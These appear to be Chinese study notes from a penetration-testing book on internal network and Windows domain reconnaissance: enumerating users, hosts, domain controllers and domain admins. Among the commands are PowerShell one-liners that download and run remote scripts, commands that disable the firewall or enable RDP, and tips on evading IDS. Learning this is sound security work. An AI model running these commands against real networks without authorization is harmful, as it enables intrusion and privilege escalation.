《内网安全攻防.渗透测试实战指南》学习笔记二:内网信息收集

内网信息收集

在内网环境中,信息收集尤为重要。信息收集的广度与深度,往往决定你的渗透测试的成果。

工作组信息收集

本机信息收集有通常有以下几种信息需要收集:

1. 查询网络配置

  • ipconfig /all

    • 可以判断是否处于内网、内网IP段、网关、DNS服务器地址、

    • 判断有没有域

2. 查询用户列表

  • net user 查看本机用户列表

    • 可以看大型企业的用户名命名规则
  • net localgroup administrators 查看本机管理员

    • 通常含有域用户,用户批量管理主机的
  • query user || qwinsta 查看当前在线用户

3. 查看进程列表

  • tasklist /v

    • 可看装了什么软件,域内可能装同样的软件

    • 可看进程是用什么权限运行的。若进程是以域管理员权限运行的,可通过令牌的窃取注入进程里,获取域管理员权限。

  • wmic process list brief

4. 查看操作系统及安装软件版本信息

  • systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" (英文版的话需要写成Name与Version)

  • wmic product get name,version

    • 查看软件安装及版本、路径等。可看杀软的版本,然后可找漏洞。
  • powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

    • 查看软件安装及版本、路径等。可看杀软的版本,然后可找漏洞。

5. 查询端口列表

  • netstat -ano

    • 可以通过信息判断服务器,如开放53端口(DNS服务器)、8530(WSUS更新)、或代理服务器。

6. 查看补丁列表

  • systeminfo

    • 查看各种系统信息、打补丁信息,还可以判断有没有域
  • wmic qfe get Caption,Description,HotFixID,InstalledOn

    • 可看打补丁的详细信息

7. 查询本机共享

  • net share

    • 域内的共享很多时候是相同的。
  • wmic share get name,path,status

8. 关于防火墙配置

  • netsh firewall show config 查看防火墙配置详细信息

  • netsh firewall set opmode mode = enable 启动防火墙

  • netsh advfirewall set allprofiles state off 关闭防火墙

    • 直接关闭防火墙动静有点大,可以添加规则,达到目的后再删除规则。

9. 查询并开启远程连接服务。

  • Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber 查看远程连接端口

  • Windows Server 2008和Windows Server 2012开启3389方法

    • wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

    • wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

    • reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

10. 查询当前权限

  • whoami

    • 本地普通用户不能查询域内信息

    • 本地管理员可以查询域内信息

    • 域内用户可以查询域内信息

  • whoami /all

    • 获取域SID。SID:域内作为身份认证的唯一标识。后面域渗透中令牌窃取即窃取SID
  • net user XXX /domain 查询指定账户的详细信息

域内信息收集

1. 判断是否有域

  • ipconfig /all

  • systeminfo

  • net config workstation

  • net time /domain

    • 存在域,当前用户不是域用户

    • 存在域,当前用户是域用户

    • 提示"找不到域xx的域控制器":不存在域

2. 域内存活主机的探测

白天探测,深夜探测,找出规律。

  • 利用netbios快速探测内网

    • 工具:Nbtscan

    • 使用方法:nbtscan.exe IP

  • 利用ICMP协议快速探测内网

    • ping命令。

      • for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL=” 其中“192.168.1”为网段。
    • VBS脚本

  • 利用arp扫描完整探测内网

    • 工具:arp-scan,命令:arp.exe -t IP

    • Empire中的arpscan模块

    • Invoke-ARPScan.ps1

    • 命令:

      A.远程下载运行

      powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(' http://192.168.1.1/Invoke-ARPScan.ps1');Invoke-ARPScan -CIDR 192.168.1.0/20" >> c:\windows\temp\log.txt

      B.本地运行

      powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/20}" >> C:\windows\temp\log.txt

      C. 无条件运行

      powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt"

  • 利用常规tcp/udp端口扫描探测内网

    • 工具:scanline

    • 命令:sl -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\sl_res.txt -p 192.168.1.1-254 /b

  • 域内端口扫描

    注意扫描是否会触发IDS,windows推荐使用powershell、wmic的脚本进行扫描。降低扫描的频率。

    • 端口的banner服务(欢迎语句):在banner信息中可以得到软件开发商,软件名称、版本、服务类型等信息,通过这些信息可以使用某些工具直接去使用相对应的exp去攻击。

    • 端口上运行的服务

    • 常见应用的默认端口

    • 常用nmap、masscan(动静比较大,已授权情况下)

    • telnet命令

    • s扫描器(速度快)

      • 命令举例:S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
    • metasploit可调用nmap及自身所带的脚本

      • 如search portscan,然后Use auxiliary/scanner/portscan/tcp
    • Invoke-portscan.ps1(在powersploit下的脚本)

    • 常见端口机器攻击方向

image.png
image.png

3. 域内基础信息收集

某些命令需要域用户或主机system权限才能运行。

  • net view /domain 查询域

  • net view /domain:XXX 查询域内电脑,有时可以根据电脑名字判断目标主机为什么类型的主机。

  • net group /domain 查询域里的用户组

  • net group "domain computers" /domain 查询域成员的计算机列表

  • net accounts /domain 查询域里密码的策略

  • nltest /domain_trusts 查询域信任信息

4. 查询域控

  • nltest /DCLIST:XXX xxx为域的名称

  • Nslookup -type=SRV ldap.tcp

  • net time /domain

  • net group "Domain Controllers" /domain 查询所有域控

  • netdom query pdc

5. 查询域内用户与管理员

  • net user /domain 查询域内所有用户

  • wmic useraccount get /all 获取域内用户的详细信息

  • dsquery user

  • net localgroup administrators /domain 查询域内置的本地管理员组的用户

  • net group "domain admins" /domain 查询域管理员用户组

  • net group "Enterprise Admins" /domain 查询域管理员用户组

定位域管理员

定位域内管理员的方法:一是通过日志,二是会话。日志指的的本地机器的管理员日志,可以使用脚本或wevtutil导出查看。会话是域内每个机器的登陆会话,可以匿名查询,无需权限,可以使用netsess.exe或powerview等工具查询。一个主机a加入到域XX中,那么域XX的管理员组会默认加入到主机a的本地管理员组中。

1. 定位域管理员的工具

  • psloggedon.exe 查找管理员登录信息

    • psloggedon [-] [-l] [-x] [\computername|username] -l 表示本地登录的
  • PVEFindADUser.exe (需要管理员权限)

    • -current
  • netsess.exe 查找主机会话

    • -h
  • PowerView脚本-Invoke-UserHunter

    • powershell.exe -exec bypass -Command "& {Import-Module C:\PowerView.ps1;Invoke-UserHunter}" 隐藏使用,调用C:\PowerView.ps1脚本

查找域管理进程

1. 本机检查

  • 获取域管理员列表。命令:net group "Domain Admins" /domain

  • 查看本机所有进程及进程用户。命令:tasklist /v

  • 寻找是否有进程所有者为域管理员的进程。

2. 查询域控制器的域用户会话(脚本)

  • 收集所有域控制器的列表。 net group "Domain Controllers" /domain

  • 收集域管理员列表。 net group "Domain Admins" /domain

  • 使用Netsess.exe查询每个域控制器,收集所有活动域会话的列表。 Netsess.exe –h

  • 将域管理员列表与活动会话列表交叉引用,以确定哪些IP地址具有活动域令牌。

3. 扫描远程系统上运行的任务

这个方法运行的前提:域管理员账号开启了共享

  • 收集域管理员的列表 net group "Domain Admins" /domain

  • 运行脚本。将目标域系统添加到ips.txt文件中,将收集到的域管理员列表添加到names.txt文件中。

FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

4. 扫描远程系统上NetBIOS信息

  • 收集域管理员列表。

  • 运行脚本。将目标域系统列表添加到ips.txt文件中,将收集到的域管理员列表添加到admins.txt文件中。并置于同一目录下。

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

  • 也可以使用nbtscan工具。先收集管理员列表。然后将目标域系统列表添加到ips.txt文件中,将收集到的域管理员列表添加到admins.txt文件中。并置于同一目录下。

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

Powershell收集域信息

2.0内置于win server 2008与win 7中

3.0内置于win server 2012与win 8中

4.0内置于win server 2012 R2与win 8.1中

5.0内置于win server 2016 与win 10中

1. Powershell四种权限

  • Restricted 默认设置,不允许执行任何脚本。

  • Allsigned 只能运行经过证书验证的脚本。

  • Unrestricted 权限最高,可以执行任意脚本。

  • RemoteSigned 对本地脚本不进行限制,对来自网络的脚本必须验证其签名。

操作:

  • 输入Get-ExecutionPolicy 可查看当前执行权限

  • Get-ExecutionPolicy + 权限 更改执行权限。

2. Powershell收集域信息

Powershell中常用命令:

image.png

域渗透分析工具BloodHound的使用

详细请阅:《内网安全攻防.实战渗透测试指南》P76

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,222评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,455评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,720评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,568评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,696评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,879评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,028评论 3 409
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,773评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,220评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,550评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,697评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,360评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,002评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,782评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,010评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,433评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,587评论 2 350